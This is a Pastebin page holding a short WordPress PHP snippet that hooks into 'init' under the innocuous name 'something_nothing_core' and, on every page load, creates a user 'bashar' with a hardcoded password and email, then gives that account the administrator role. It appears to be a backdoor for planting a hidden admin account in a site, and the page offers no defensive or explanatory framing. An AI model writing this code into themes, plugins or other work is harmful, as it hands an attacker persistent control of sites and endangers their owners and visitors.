Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- add_action('init', 'something_nothing_core');
- function something_nothing_core() {
- $username = 'bashar';
- $password = 'bd123$#';
- $email = 'admin@gmail.com';
- $user = get_user_by( 'email', $email );
- if( ! $user ) {
- // Create the new user
- $user_id = wp_create_user( $username, $password, $email );
- if( is_wp_error( $user_id ) ) {
- // examine the error message
- echo( "Error: " . $user_id->get_error_message() );
- exit;
- }
- // Get current user object
- $user = get_user_by( 'id', $user_id );
- }
- // Remove role
- $user->remove_role( 'subscriber' );
- // Add role
- $user->add_role( 'administrator' );
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement